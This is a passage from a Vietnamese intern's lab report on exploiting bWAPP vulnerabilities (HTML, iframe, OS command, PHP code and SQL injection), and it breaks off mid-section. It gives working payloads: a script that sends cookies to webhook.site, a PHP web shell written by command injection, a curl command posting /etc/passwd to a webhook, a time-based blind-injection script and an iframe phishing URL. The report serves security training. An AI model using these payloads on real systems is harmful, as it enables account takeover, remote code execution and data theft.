--- title: 'Report khai thác 20 lỗ hổng phổ biến' disqus: 'AowPu' --- <p style="font-family: Avenir, Helvetica, 'sans serif'"> **<span style="color: #2d0aa0; font-size: 40px">Khai thác 20 lỗ hổng phổ biến</span>**<br> ***<span style="font-size:18px">Ngày 26 tháng 5, năm 2024</span>*** <div align="center"> <img src= "https://www.crest-approved.org/wp-content/uploads/ultimatemember/901/member_banner_image_901" alt="Bug box" style="width: 50%"> </div> </p> **Mô tả** === >Báo cáo này mô tả chi tiết quá trình khai thác của 20 lỗ hổng bằng tay hoặc bằng công cụ tự động (nếu có). - **Đối tượng**: `bWAPP và PortSwigger` - **Mục tiêu**: `Hoàn thành theo các mục trong classroom` - **Thành viên thực hiện:** `TTS Nguyễn Hồng Phúc` - **Công cụ**: `DevTools, Burp Suite` **Tổng quan** === >Báo cáo này trình bày lại quá trình thực hiện kiểm thử và xâm nhập dựa trên các lỗ hổng được tìm thấy trên ứng dụng. > >Quá trình kiểm thử ban đầu được thực hiện dưới hình thức Whitebox Testing trên bWAPP và Greybox Testing trên PortSwigger . **I. Injection: bWAPP** === HTLM Injection --- **<span style="; font-size: 30px">Reflected (GET)</span>** **1. Chức năng của ứng dụng** - Cho phép người dùng nhập First name và Last Name (Hình 1.1), sau đó hiển thị lời xin chào cùng với First name và Last Name tương ứng mình vừa nhập (Hình 1.2) ![image](https://hackmd.io/_uploads/BkSeSPgNR.png) Hình 1.1. Trước khi nhập ![image](https://hackmd.io/_uploads/BJ0hBDe4C.png) Hình 1.2. Sau khi nhập thì hiện thị lời chào tương ứng ở đâu là abc và def - Tiếp tục mở code lên xem thấy rằng trong file `htmli_get.php` chứa form nhập dữ liệu vào (Hình 1.3) và đoạn code xử lí để hiện thị dữ liệu ra (Hình 1.4) ![image](https://hackmd.io/_uploads/rJFSOPe4C.png) Hình 1.3. Form để hiện thị cho người dùng nơi nhập dữ liệu ![image](https://hackmd.io/_uploads/rJbt_wxE0.png) Hình 1.4. Đoạn code xử lí dữ liệu người dùng nhập ở hình 1.3 bằng cách lấy dữ liệu từ yêu cầu GET và xử lí bằng hàm htmli và sau đó hiện thị ra bên ngoài - Chúng ta cần biết hàm htmli xử lí dữ liệu như thế nào để có thể khai thác sau này nên em đã tìm xem hàm này ở đâu để xem nó lọc dữ liệu vào như thế nào ? thì thấy rằng nó lọc tùy theo level mà mình chọn (Hình 1.5) ![image](https://hackmd.io/_uploads/SyFjKDeNA.png) Hình 1.5. Đoạn code xử lí giá trị người dùng nhập vào theo 3 level - Tìm tiếp đến đến đoạn code chứa hàm `no_check` (Hình 1.6), `xss_check_1` (Hình 1.7) và `xxs_check_3` (Hình 1.8) để xem nó lọc đầu vào như thế nào trong file `functions_external.php` ![image](https://hackmd.io/_uploads/H1gdkdg4A.png) Hình 1.6. Đoạn xử lí dữ liệu ở hàm no_check ![image](https://hackmd.io/_uploads/rkxPy_eN0.png) Hình 1.7. Đoạn xử lí dữ liệu ở hàm xss_check_1 ![image](https://hackmd.io/_uploads/ByQXE_l40.png) Hình 1.8. Đoạn xử lí dữ liệu ở hàm xss_check_3 **2. Đặt giả thuyết** - Dữ liệu được nhập và xử lí qua hàm `htmli` sau đó được hiện thị lên trình duyệt, vậy nếu như hàm htmli không sàng lọc kĩ liệu khi nhập code html lên trình duyệt có render nó như mã html tạo nên trang web đó không ? - Sau khi đọc 3 cách mà hàm htmli sẽ xử lí thì em rút ra được từ 3 cái: - Level Low: Không filter gì có vẻ như nó sẽ chấp nhận mọi loại dữ liệu chúng ta nhập vào. - Level Medium: Dùng hàm `str_replace` để có thể chuyển đổi những giá trị `<`, `>` thành HTML entities tương ứng là `&lt;` và `&gt;`. Tuy nhiên lại sử dụng hàm `urldecode` sau khi check giá trị đầu vào, vậy nếu chúng ta encode url giá trị đó có phải chúng ta sẽ không bị lọc ? - Level High: Sử dụng hàm mặc định của php để chống lại XSS là `htmlspecialchars` có chức năng chuyển đổi các giá trị đặc biệt thành các HTML entities như trong hình 1.8 đoạn comment cũng có giải thích. Ngoài ra còn có các đối số đi kèm như `ENT_QUOTES` để filter thêm dấu `'` và encoding là `UTF-8` **3. Chứng minh giả thuyết** - Sau khi đọc 3 cách mà hàm htmli sẽ xử lí em sẽ kiểm chứng cho từng level - Level 1: Thử payload `<h1>abc</h1>` để xem sữ liệu mình nhập vào có được trình duyệt render hay không thì thấy rằng trình duyệt có xử lí thẻ h1 (Hình 3.1) ![image](https://hackmd.io/_uploads/ByIePpgVA.png) Hình 3.1 Kết quả của nhập payload `<h1>abc</h1>` - Level 2: Thử payload như level 1 thì ứng dụng xử lí nó như một chuỗi bình thường (Hình 3.2) ![image](https://hackmd.io/_uploads/Hy1LDTxVR.png) Hình 3.2 Nhập với payload như level 1 - Thử `URLencode` giá trị `<h1>abc</h1>` thành `%3c%68%31%3e%61%62%63%3c%2f%68%31%3e` sau đó nhập vào trang web thì thấy giá trị đã được trình duyệt render theo thẻ h1 (Hình 3.3) ![image](https://hackmd.io/_uploads/HkMRDRxVA.png) Hình 3.3 Kết quả sau khi nhập giá trị đã URLencode - Level 3: Lần này ứng dụng web vẫn sử dụng cách đổi giá trị đặc biệt thành HTML entities và có các đối số đi kèm nên việc thử các payload ở thời điểm này là không khả thi **4. Tiến hành khai thác** **Level Low:** - Trong bài lab này mục tiêu của mình là có thể chiếm quyền điều khiển tài khoản của nạn nhân bằng cách đọc trộm cookie. - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```javascript= <script>fetch('https://webhook.site/id_webhook?x='+document.cookie)</script> ``` - Giải thích về payload ở trên: - Đầu tiền là tạo thẻ `<script>` để thực thi mã javascript - Sau đó sử dụng hàm fetch trong JavaScript được sử dụng để thực hiện các yêu cầu HTTP (GET, POST, vv.) từ trình duyệt. Trong trường hợp này, nó thực hiện một yêu cầu GET. - Tiếp theo sử dụng server webhook để có thể hứng request GET gửi tới - Cuối cùng là phần document.cookie để có thể đọc cookie hiện tại của nạn nhân và gửi cho kẻ tấn công - Link web hoàn thiện để gửi cho nạn nhân ```javascript= http://localhost/bwapp/htmli_get.php?firstname=%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook.site%2Fid_webhook%3Fx%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&lastname=x&form=submit ``` - Sau khi nạn nhân click vào đường link này thì cookie của nạn nhân sẽ được gửi đến trang chủ của kẻ tấn công **Level Medium** - Với level medium chúng ta chỉ cần sử dụng URLencode cho phần payload và làm tương tự các bước ở trên là xong --- <br> **<span style="; font-size: 30px">STORED</span>** <br> **1. Chức năng của ứng dụng** - Cho phép người dùng nhập dữ liệu vào note (Hình 1.1), sau đó hiển thị đồng thời lưu trữ dữ liệu mình vừa nhập ra bảng (Hình 1.2) ![image](https://hackmd.io/_uploads/Sy82HpW4C.png) Hình 1.1. Nơi nhập dữ liệu ![image](https://hackmd.io/_uploads/ryZyLTZVA.png) Hình 1.2. Nơi hiển thị và lưu trữ giữ liệu vừa nhập - Tiếp tục mở code lên xem thấy rằng trong file `htmli_stored.php` chứa đoạn code xử lí dữ liệu nhập vào (Hình 1.3) có thêm lọc dữ liệu đầu vào bằng hàm `htmli`(hình 1.4)và đoạn code xử lí để hiện thị dữ liệu ra (Hình 1.5) ![image](https://hackmd.io/_uploads/rkqjDaWV0.png) Hình 1.3. Dữ liệu nhập vào sẽ được đưa vào câu query liên kết với cơ sở dữ liệu ![image](https://hackmd.io/_uploads/SyJ2ip-NR.png) Hình 1.4 Đoạn code chứa hàm `htmli` xử lí dữ liệu đầu vào database bằng hàm `sqli_check_3` trong file `functions_external.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/S1XLnTbVC.png) Hình 1.5 Xử lí đầu vào trước khi đưa dữ liệu vào database bằng hàm `mysqli_real_escape_string` có chức năng thêm ký tự escape (dấu \) nên các dấu `'`, `"` sẽ không có tác dụng trong database để dữ liệu nhập vào không thoát khỏi chuỗi và thực hiện sqli được ![image](https://hackmd.io/_uploads/ryxNq6ZV0.png) Hình 1.6. Đoạn code xử lí dữ liệu để hiển thị bằng cách lấy dữ liệu từ database do người dùng nhập vào ở hình 1.3 để hiển thị ra bên ngoài **2. Đặt giả thuyết** - Dữ liệu được nhập và xử lí qua hàm `htmli` filter các dấu như `'` , `"` bằng cách thêm escape tuy nhiên chỉ chặn khi ở trong database còn khi ra bên ngoài trình duyệt thì hàm `mysqli_real_escape_string` không còn tác dụng nữa. Vậy liệu chúng ta có thể sử dụng payload cũ không khi mà không có kí tự nào biến mất ? - Sau khi đọc 2 cách mà ứng dụng sẽ filter sẽ xử lí thì em rút ra được từ 3 cái: - Level Low: Sử dụng payload cũ - Level Medium và High: Sử dụng thêm hàm `xss_check_3` để filter thêm như đã giới thiệu ở phần Refletecd nên có vẻ khó có thể bypass được hàm này **3. Chứng minh giả thuyết** - Sau khi đọc cách mà ứng dụng sẽ xử lí dữ liệu đầu vào em sẽ kiểm chứng cho level 1 trước - Level 1: Thử payload `<h1>abc</h1>` để xem sữ liệu mình nhập vào có được trình duyệt render hay không thì thấy rằng trình duyệt có xử lí thẻ h1 (Hình 3.1) ![image](https://hackmd.io/_uploads/rksvECWVR.png) Hình 3.1 Kết quả của nhập payload `<h1>abc</h1>` **4. Tiến hành khai thác** **Level Low:** - Dùng cách tương tự bài Refleated trước để triển khai payload đọc trộm cookie - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```gherkin= <script>fetch('https://webhook.site/id_webhook?x='+document.cookie)</script> ``` - Giải thích về payload ở trên: - Đầu tiền là tạo thẻ `<script>` để thực thi mã javascript - Sau đó sử dụng hàm fetch trong JavaScript được sử dụng để thực hiện các yêu cầu HTTP (GET, POST, vv.) từ trình duyệt. Trong trường hợp này, nó thực hiện một yêu cầu GET. - Tiếp theo sử dụng server webhook để có thể hứng request GET gửi tới - Cuối cùng là phần document.cookie để có thể đọc cookie hiện tại của nạn nhân và gửi cho kẻ tấn công - Link web hoàn thiện để gửi cho nạn nhân ```gherkin= http://localhost/bwapp/htmli_get.php?firstname=%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook.site%2Fid_webhook%3Fx%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&lastname=x&form=submit ``` - Sau khi có ai đó truy cập vào trang chứa note này thì dữ liệu cookie của họ sẽ được gửi về server (Hình 4.1) ![Screenshot_1](https://hackmd.io/_uploads/Sy-yCAWVA.png) Hình 4.1 **Level Medium và High** - Sử dụng hàm `htmlspecialchars()` hạn chế sử dụng các ký tự đặc biệt HTML như `<`, `>`, `"`, `'` , `&` không thể chèn HTML vì thẻ bị chặn --- iFrame Injection --- **1. Chức năng của ứng dụng** - Trang web hiện thị một thẻ iframe trên tình duyệt của mình (Hình 1.1) với nội dung và nguồn được lấy từ tham số GET (Hình 1.2) ![image](https://hackmd.io/_uploads/B1U9LJGVC.png) Hình 1.1. Thẻ Iframe với nội dung tệp `robots.txt` ![image](https://hackmd.io/_uploads/H1WmD1zVC.png) Hình 1.2. Tham số GET chứa trang web mà trình duyệt sẽ hiển thị và chiều dài và chiều rộng tương ứng của thẻ iframe - Tiếp tục mở code lên xem thấy rằng trong file `iframei.php` chứa form nhập dữ liệu vào tùy thuộc level (Hình 1.3) và đoạn code xử lí để hiện thị dữ liệu ra (Hình 1.4) ![image](https://hackmd.io/_uploads/BkL1AJf4A.png) Hình 1.3. Cách trang web sẽ xử lí việc hiện thẻ ifram như thế nào, các tham số lấy từ param GET sẽ được lọc qua bằng hàm xss (Hình 1.4) ![image](https://hackmd.io/_uploads/SJYz0yzV0.png) Hình 1.4. Hàm XSS xử lí dữ liệu người dùng có thể thao túng tùy theo level, level 0 thì không check gì, level 1 và 2 sử dụng lần lượt xss_check_4 và xss_check_3 (hình 1.5) ![image](https://hackmd.io/_uploads/SkjxJgG4A.png) Hình 1.5 Cách xxs_check_3 và 4 hoạt động **2. Đặt giả thuyết** - Với level Low chúng ta liệu có thể thay đổi dễ dàng `ParamUrl` để có thể lấy nội dung của trang web khác về không ? - Với level medium thuộc tính `src` của trang web đã được cố dịnh là `robots.txt` nhưng lại lọc dữ liệu đầu vào của người dùng bằng hàm `addslashes` chỉ dùng để tránh sqli nên có vẻ sẽ không tác dụng, vậy liệu có thể nối thêm param GET và add thêm được 1 thẻ `iframe` khác vào lên thẻ robots.txt không? - Với level High nó đã dùng thẻ `htmlspecialchars` khá an toàn và khiến mình không thể thao túng được thêm vào param GET. **3. Chứng minh giả thuyết** - Chứng minh cho từng cách level một - Level 1: Thử đổi `parammURL` từ `robots.txt` thành 1 trang `http://localhost/bwapp/login.php` (Hình 3.1) ![image](https://hackmd.io/_uploads/Sk7DQGG4A.png) Hình 3.1 Kết quả của việc đổi tham số ở yêu cầu GET `ParamUrl=robots.txt` thành `http://localhost/bwapp/login.php` - Level 2: Cần injection vào ParamHeight để có thể kéo dài được câu lệnh trong hình (Hình 3.2). ![image](https://hackmd.io/_uploads/SJz69zGV0.png) Hình 3.2. Thoát `ParamHeight=250` bằng đấu `"` sau đó thêm mã javasrcipt muốn bằng `onload`, paylaod là `"onload="alert(origin)"`. - Level 3: Thử như level 2 nhưng mà không được **4. Tiến hành khai thác** - Mục tiêu: Add được một iframe chứa trang đăng nhập để lừa người dùng đăng nhập vào **Level Low:** - Ở level này đơn giản chỉ là thấy giá trị ở `ParamUrl thành` địa chỉ mà bạn muốn ở đây em dùng địa chỉ là trang đăng nhập `https://fap.fpt.edu.vn/Phuhuynh/Login.aspx` và chỉnh lại chiều dài cũng như chiều rộng để hiện thị rõ hơn - Payload hoàn chỉnh ```gherkin= http://localhost/bwapp/iframei.php?ParamUrl=https://fap.fpt.edu.vn/Phuhuynh/Login.aspx&ParamWidth=700&ParamHeight=500 ``` ![image](https://hackmd.io/_uploads/Skt4J7fVR.png) **Level Medium:** - ở level này injection vào `ParamHeight=250` như ở phần chứng minh giả thiết đã trình bày tuy nhiên lần này em sẽ thêm thẻ iframe khác chứ không chỉ là `alert(orgin)` bằng cách injection thêm một thẻ `iframe` khác - Payload để inject thêm vào sau như sau phần `ParamHeight=250` trên URL như sau ``` " ></iframe><iframe src=https://fap.fpt.edu.vn/Phuhuynh/Login.aspx width=800 height=500> ``` - Giải thích về payload ở trên - Đầu tiền là dấu `"` để có thể đóng lại thuộc tính phía trước sau đó là `></iframe` để có thể hoàn thành được thẻ iframe đăng trước - Sau đó thêm thẻ `iframe` mới để có thể hiện thị nội dung mà mình mong muốn, không cần phải đóng thẻ `iframe` kết thúc bởi ở câu lệnh `iframe` trước mình đã injection vào thân câu lệnh nên vẫn còn phần đóng thẻ - Payload hoàn chỉnh để gửi cho nạn nhân như sau ``` http://localhost/bwapp/iframei.php?ParamUrl=robots.txt&ParamWidth=0&ParamHeight=0%22%20%3E%3C/iframe%3E%3Ciframe%20src=https://fap.fpt.edu.vn/Phuhuynh/Login.aspx%20width=800%20height=500%3E ``` - Kết quả khi click vào ![image](https://hackmd.io/_uploads/Bkqeh7z4C.png) --- OS Command Injection --- <br> **<span style="; font-size: 30px">OS Command Injection </span>** <br> **1. Chức năng của ứng dụng** - Trang web hiện thị một ô để có thể điền tên domain để ứng dụng sử dụng lệnh DNSlookup để có thể tìm ra được ip tương ứng với Domain đó (Hình 1.1) ![image](https://hackmd.io/_uploads/BJI1q4MNR.png) Hình 1.1. Kết quả của việc điền domain `www.nsa.gov` và nhấn lookup - Tiếp tục mở code lên xem thấy rằng trong file `commandi.php` chứa đoạn code chứa cách xử lí dữ liệu người dùng nhập vào (Hình 1.3) và lọc dữ liệu đầu của người dùng khi đưa vào câu lệnh command bằng hàm `commandi`(Hình 1.4) ![image](https://hackmd.io/_uploads/rJ4-JSf40.png) Hình 1.3. Cách trang web sẽ xử lí dữ liệu đầu vào như thế nào ![image](https://hackmd.io/_uploads/B161-Hf4A.png) Hình 1.4. Hàm xử lí dữ liệu đầu vào tùy theo level, bằng các hàm riêng trong mỗi level ở file `functions_external.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/ryw0zrME0.png) Hình 1.5 Cách commandi_check_1 và commandi_check_2 hoạt động **2. Đặt giả thuyết** - Bản chất của injection là thao túng instruction bằng cách kéo dài, chèn thêm để có thể thực thi các câu lệnh mà ứng dụng không cho phép. Và còn phải tùy vào hệ điều hành để có các instruction khác nhau - Có cách nào để ứng dụng thực thi được nhiều hơn 1 câu lệnh trong 1 lần gọi tới không ? bởi vì có 2 điều: - Hàm `shell_exec` thực thi lệnh command - Nhưng lại bị cố định bởi câu lệnh `dnslookup` - Vậy có cách nào để thực thi được 2 câu lệnh trong 1 cú pháp không? - Sau khi serch google tài liệu về cú pháp của command trên linux thì có 4 cách là `;`, `&`, `||` , `newline` (Hình 2.1) còn các hệ điều hành khác thì sẽ tùy ở đây mình chỉ giới thiệu trong linux ![image](https://hackmd.io/_uploads/rk4gFBMVC.png) Hình 2.1. Cách có thể chạy nhiều lệnh trong 1 câu lệnh - Với level Low chương trình dùng hàm `no_check` thì không lọc gì cả vậy nên có thể cả 4 cách trên đều dùng được để thực thi thêm câu lệnh thứ 2 - Với level Medium sự hàm `commandi_check_1` để lọc dữ liệu đầu vào tuy nhiên hàm này chỉ lọc được dấu `;` và `&` bằng cách sử dụng hàm `str_replace` để làm biến mất kí tự mà chúng ta còn 2 cách nữa để nối dài liệu 2 cách còn lại có sử dụng được không - Với level High ứng dụng sử dụng function `commandi_check_2` trong đó sử dụng hàm `escapeshellcmd` (Hình 2.2) có chức năng thêm các ký tự escape (đặc biệt là các ký tự backslashes) vào trước các ký tự đặc biệt trong chuỗi trong đó có các kí tự mà mình vừa nêu ở trên, đảm bảo rằng chúng sẽ không được hiểu là các phần của một lệnh shell khi được thực thi. Nên có vẻ như là hàm này khá an toàn và không thể kéo dài được câu lệnh ở level này. ![image](https://hackmd.io/_uploads/SyX2SLGEA.png) Hình 2.2. Chức năng của hàm `escapeshellcmd` **3. Chứng minh giả thuyết** - Chứng minh cho từng cách level một - Level 1: Không filter nên em sử dụng dấu `;` để kéo dài và thực thi thử lệnh ls (Hình 3.1) ![image](https://hackmd.io/_uploads/HkPL4-7N0.png) Hình 3.1 Kết quả khi inject thêm command `id` sau dấu `;` - Level 2: Vì chặn kí tự `;` và kí tự `&` nên em sẽ sử dụng kí tự `|` (Hình 3.2). ![image](https://hackmd.io/_uploads/SyIU3M740.png) Hình 3.2. Kết quả thực thi lệnh id. - Level 3: Đã thử tất cả nhưng không được **4. Tiến hành khai thác** - Mục tiêu là có thể ghi file vào và đọc file đó **Level Low:** - Level này không có validation nào cả vậy nên em sẽ đi thằng vào payload luôn - Payload để có thể tạo ra một file thực thi lệnh hệ thống trên server cho nhanh đó là ``` echo '<?php echo system($_GET["cmd"]); ?>' > test4.php ``` - Payload hoàn chỉnh thực hiện lệnh ghi nội dung vào file tự tạo là `test4.php` ```gherkin= ;echo '<?php echo system($_GET["cmd"]); ?>' > test4.php ``` - Đưa payload trên vào vào nhập DNS sau đó nhất Lookup để câu lệnh được thực thi - Sau đấy có thể truy cập URL `http://localhost:8080/bWAPP/test4.php?cmd=[lệnh cmd tùy ý]` với lệnh mình muốn như đọc hoặc thực thi một file nào đó. Ví dụ trong hình 4.1 đọc file /etc/passwd ![image](https://hackmd.io/_uploads/BJqq0OQE0.png) Hình 4.1. Đọc file bằng cách đưa tham số muốn đọc vào URL **Level Medium:** - Ở level này cũng giống như level trước chỉ cần thay dấu `;` thành dấu `|` là xong ![image](https://hackmd.io/_uploads/Syyz1F7E0.png) --- <br> **<span style="; font-size: 30px">OS Command Injection - Blind</span>** <br> **1. Chức năng của ứng dụng** - Tương tự phần trước lần này ứng dụng vẫn thực thi command trên hệ điều hành nhưng mà lần này là lệnh `PING` (Hình 1.1) ![image](https://hackmd.io/_uploads/Hy6Ggt740.png) Hình 1.1. Chức năng PING đến đến địa chỉ IP mà mình muốn - Tiếp tục mở code lên xem thấy rằng trong file `commandi_blind.php` chứa đoạn code chứa cách xử lí dữ liệu người dùng nhập vào (Hình 1.3) và lọc dữ liệu đầu của người dùng khi đưa vào câu lệnh command bằng hàm `commandi`(Hình 1.4) ![image](https://hackmd.io/_uploads/Hy_CrKQEA.png) Hình 1.3. Cách trang web sẽ xử lí dữ liệu đầu vào như thế nào ![image](https://hackmd.io/_uploads/r1AzLFmER.png) Hình 1.4. Hàm xử lí dữ liệu đầu vào tùy theo level, bằng các hàm riêng trong mỗi level ở file `functions_external.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/ryw0zrME0.png) Hình 1.5 Cách commandi_check_1 và commandi_check_2 hoạt động **2. Đặt giả thuyết** - Bản chất của injection là thao túng instruction bằng cách kéo dài, chèn thêm để có thể thực thi các câu lệnh mà ứng dụng không cho phép. Và còn phải tùy vào hệ điều hành để có các instruction khác nhau - Có cách nào để ứng dụng thực thi được nhiều hơn 1 câu lệnh trong 1 lần gọi tới không ? bởi vì có 2 điều: - Hàm `shell_exec` thực thi lệnh command - Nhưng lại bị cố định bởi câu lệnh `ping` - Vậy có cách nào để thực thi được 2 câu lệnh trong 1 cú pháp không? - Sau khi serch google tài liệu về cú pháp của command trên linux thì có 4 cách là `;`, `&`, `||` , `newline` (Hình 2.1) còn các hệ điều hành khác thì sẽ tùy ở đây mình chỉ giới thiệu trong linux - Tuy nhiên lần này sẽ có 3 trường hợp xảy ra: - Chúng ta có quyền ghi file thì chúng ta sẽ tạo ra một file như ở phần trên để có thể tùy ý làm điều chúng ta muốn và có thể nhìn thấy kết quả - Nếu không có quyền ghi file chúng ta có thể bắn các gói tin ra bên ngoài và đọc trộm chúng - Nếu không có cả 2 điều trên chúng ta có thể dựa trên phản ứng của ứng dụng web để đoán nội dung file là gì. - Các hàm xử lí liệu của các level phần này đều giống phần trước nên em sẽ không nhắc lại mà tập trung thẳng vào phần khai thác luôn **3. Tiến hành khai thác** - Mục tiêu là có thực thi lệnh command khác ngoài lệnh ping **Level Low:** - Level này không có validation nào cả vậy nên em sẽ đi thằng vào payload luôn - Có 4 payload trong trường hợp này: 1. Có thể ghi file vào trong server - Payload để có thể tạo ra một file thực thi lệnh hệ thống trên server cho nhanh đó là ```javascript echo '<?php echo system($_GET["cmd"]); ?>' > test.php ``` - Payload hoàn chỉnh thực hiện lệnh ghi nội dung vào file tự tạo là `test4.php` ```javascript ;echo '<?php echo system($_GET["cmd"]); ?>' > test4.php ``` - Đưa payload vào ô để nhập địa chỉ IP sau đó nhấn PING để payload có thể được thực thi - Sau đấy có thể truy cập URL `http://localhost:8080/bWAPP/test4.php?cmd=[lệnh cmd tùy ý]` với lệnh mình muốn như đọc hoặc thực thi một file nào đó. Ví dụ trong hình 4.1 đọc file `/etc/passwd` ![image](https://hackmd.io/_uploads/BJqq0OQE0.png) Hình 3.1.1. Đọc file bằng cách đưa tham số muốn đọc vào URL 2. Gửi dữ liệu ra bên ngoài - Cách thứ 2 này chúng ta cần kiểm tra server của trang web này có kết nối internet hay không để gửi gói tin chứa các dữ liệu bí mật ra bên ngoài - Đầu tiên chúng ta cần tạo một server bên ngoài để hứng request chứa nội dung của trang web gửi tới. Server mà em lựa chọn sẽ là `webhook` - Thứ 2 cần tạo payload để gửi dữ liệu ra bên ngoài ``` ;wget https://bom.so/uwlr2S --post-file='/etc/passwd' ``` - Tuy nhiên ở server này không sử dụng được wget nên em chuyển sang dùng `curl` ``` ;curl -X POST -d @/etc/passwd https://webhook.site/8ef6bf75-4d30-44c5-ac8b-7d54b602e76d ``` - Đưa payload trên vào ô nhập IP trong web và bấm PING thì nó sẽ gửi dữ liệu của tệp `/etc/passwd` tới server webhook của mình (Hình 3.2.1) ![image](https://hackmd.io/_uploads/r1JN0TGBC.png) Hình 3.2.1. Dữ liệu của tệp `/etc/passwd` được gửi qua bằng method POST 3. Sử dụng các dấu hiệu đặc biệt trên server - Có thể sử dụng các dấu hiệu đặc biệt trên server để đoán các kí tự khi có khả năng thực thi command nhưng không nhìn thấy được nội dung. - Có cách điển hình để làm phần này Boolean-base hoặc Time-base - Tuy nhiên ở phần này kết quả chỉ hiện thị cố định dòng như nhình 3.3.1 ![image](https://hackmd.io/_uploads/S16ExAfH0.png) Hình 3.3.1. Kết quả cố định cho dù thành công hay không - Vậy nên bài này chri có thể dùng Time-base - Payload cơ bản sẽ nhưu thế ``` ;if [ "$(cat /etc/passwd | cut -c (Vị trí kí tự muốn lấy))" = "(bất kì kí tự nào)" ]; then sleep 2; fi # ``` 3. Và chúng sẽ viết code tự động hóa điều này 4. Đoạn code tự động hóa so sánh ``` import requests CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_:/' URL = 'URL' FLAG = '' found = False for index in range(0,1000): if found: # Kiểm tra xem đã tìm thấy kí tự } chưa break for c in CHARSET: INJECT = 'if [ "$(cat /etc/passwd | cut -c {vitri})" = "{bruteforce}" ]; then sleep 2; fi #'.format( vitri=index, bruteforce=c) r = requests.post(URL , {'target': INJECT}) print("Kí tự số ", index , "là: ", c, "-->", r.elapsed.total_seconds() , end="\r") if r.elapsed.total_seconds() >= 2: FLAG += c print("Kí tự thứ", index, "là: ", c) if c == '}': found = True # Cập nhật biến khi tìm thấy kí tự } break break print("tìm được là: ", FLAG) ``` **Level Medium:** - Ở level này cũng giống như level trước chỉ cần thay dấu `;` thành dấu `|` là xong ![image](https://hackmd.io/_uploads/Syyz1F7E0.png) --- PHP Code Injection --- <br> **<span style="; font-size: 30px">PHP Code Injection</span>** <br> **1. Chức năng của ứng dụng** - Trang web nhận giá trị từ tham số GET để refleting lại trên trang web (Hình 1.1) ![image](https://hackmd.io/_uploads/HJPGu24NA.png) Hình 1.1. message hiển thị mặc định là `test` và kết quả này dựa trên giá trị của biến message trong yêu cầu GET - Tiếp tục mở code lên xem thấy rằng trong file `phpi.php` chứa đoạn code xử lí và hiện thị dữ liệu từ URL (Hình 1.3) ![image](https://hackmd.io/_uploads/SJ_rR3440.png) Hình 1.3. Dữ liệu được lấy ở `$_REQUEST` sau đó được hiện thị ra **2. Đặt giả thuyết** - Dev sử dụng hàm `eval()` để có thể thực thi được code PHP nhưng lại truyền dữ liệu không đáng tin cậy vào vậy nên việc PHP injection có thể xảy ra - Sẽ ra sao nếu chúng ta chèn đoạn code php vào đây ? **3. Chứng minh giả thuyết** - Chèn thử `phpinfo()` vào để xem rằng có xử lí không thì thấy rằng trang web đã hiển thị phpinfo (hình 3.1) ![image](https://hackmd.io/_uploads/ry3QBpVVC.png) Hình 3.1. Chèn `phpinfo()` trên URL của level(Low) - Khi thử trên các level khác thì không được vì đã bị chặn bởi hàm `htmlspecialchars` để tránh XSS cũng như câu lệnh chỉ là echo và không hàm eval() nên code php không thể thực thi **4. Tiến hành khai thác** **Level Low:** - Để có thể nâng cao khai thác có thể chèn các hàm có thể chạy command trên server ví dụ như hàm `system` - Thực hiện việc dùng hàm system để thực thi các lệnh command trong đó là các lệnh đã thực hiện ở phần command injection - Payload chèn vào tham số message ở URL đó là ``` system("echo '<?php echo system(\$_GET[\"cmd\"]); ?>' > test.php"); ``` - Và có thể vào file vừa tạo để thực thi các lệnh command 1 cách dễ hơn ![image](https://hackmd.io/_uploads/ryz0yRNER.png) --- SQL Injection --- <br> **<span style="; font-size: 30px">SQL Injection (GET/Search) </span>** <br> **1. Chức năng của ứng dụng** - Trang web hiện thị một ô để có thể điền tên movie mà chúng ta ta muốn tìm trong danh sách (Hình 1.1) sau đó nhấn nút search để chương trình tìm từ khóa trong danh sách giống với chúng ta vừa nhập (Hình 1.2) ![image](https://hackmd.io/_uploads/B1RWRLr4R.png) Hình 1.1. Trang web khi không nhập gì và nhấn nút Search ![image](https://hackmd.io/_uploads/rJUIRLSNA.png) Hình 1.2. Chương trình tìm kiếm những title có chữ a trong đó - Giá trị chúng ta vừa nhập sẽ nằm trên biến title trong yêu cầu GET (Hình 1.3) ![image](https://hackmd.io/_uploads/ByuXWDrN0.png) Hình 1.3. Giá trị được nhập nằm ở biến title trong yêu cầu GET - Tiếp tục mở code lên xem thấy rằng trong file `sqli_1.php` chứa đoạn code chứa cách xử lí dữ liệu người dùng nhập vào (Hình 1.3) và lọc dữ liệu đầu của người dùng khi đưa vào câu query bằng hàm `sqli`(Hình 1.4) ![image](https://hackmd.io/_uploads/Hk8qVvHEC.png) Hình 1.3. Cách trang web sẽ xử lí dữ liệu đầu vào như thế nào ![image](https://hackmd.io/_uploads/B1O-BDBE0.png) Hình 1.4. Hàm xử lí dữ liệu đầu vào tùy theo level, bằng các hàm riêng trong mỗi level ở file `functions_external.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/BybKBDBNA.png) Hình 1.5 Cách sqli_check_1 và sqli_check_2 hoạt động **2. Đặt giả thuyết** - Bản chất của injection là thao túng instruction bằng cách kéo dài, chèn thêm để có thể thực thi các câu lệnh mà ứng dụng không cho phép. Và còn phải tùy vào sơ sở dữ liệu để có các instruction khác nhau - Nhưng điều có thể làm khi có thể sqli: - Đọc các dữ liệu ẩn khác có trong trong hiện tại: Tùy nhiên ở phần thì tính năng search bản chất là có thể nhìn thấy tất cả dữ liệu trong bàn nên không cần đọc dữ liệu ẩn có trong bảng hiện tại - Đọc dữ liệu từ bảng khác: Có vẻ như điều này có thể khả thi và cũng quan trọng - Có quyền đọc ghi hoặc ghi file để dẫn tới RCE - Câu SELECT đầu tiền là cố định rồi vậy có thể chèn thêm một câu query khác vào để đọc được dữ liệu từ bảng khác không ? - Sau khi đọc vài tài liệu về cách thực thi nhiều câu query trong một lần thì em thấy có thể sử dụng như: dấu`;`hoặc toán tử `UNION` để ghép 2 câu query lại với nhau - Tuy nhiên khi tìm hiểu về `mysqli_query` trong đoạn 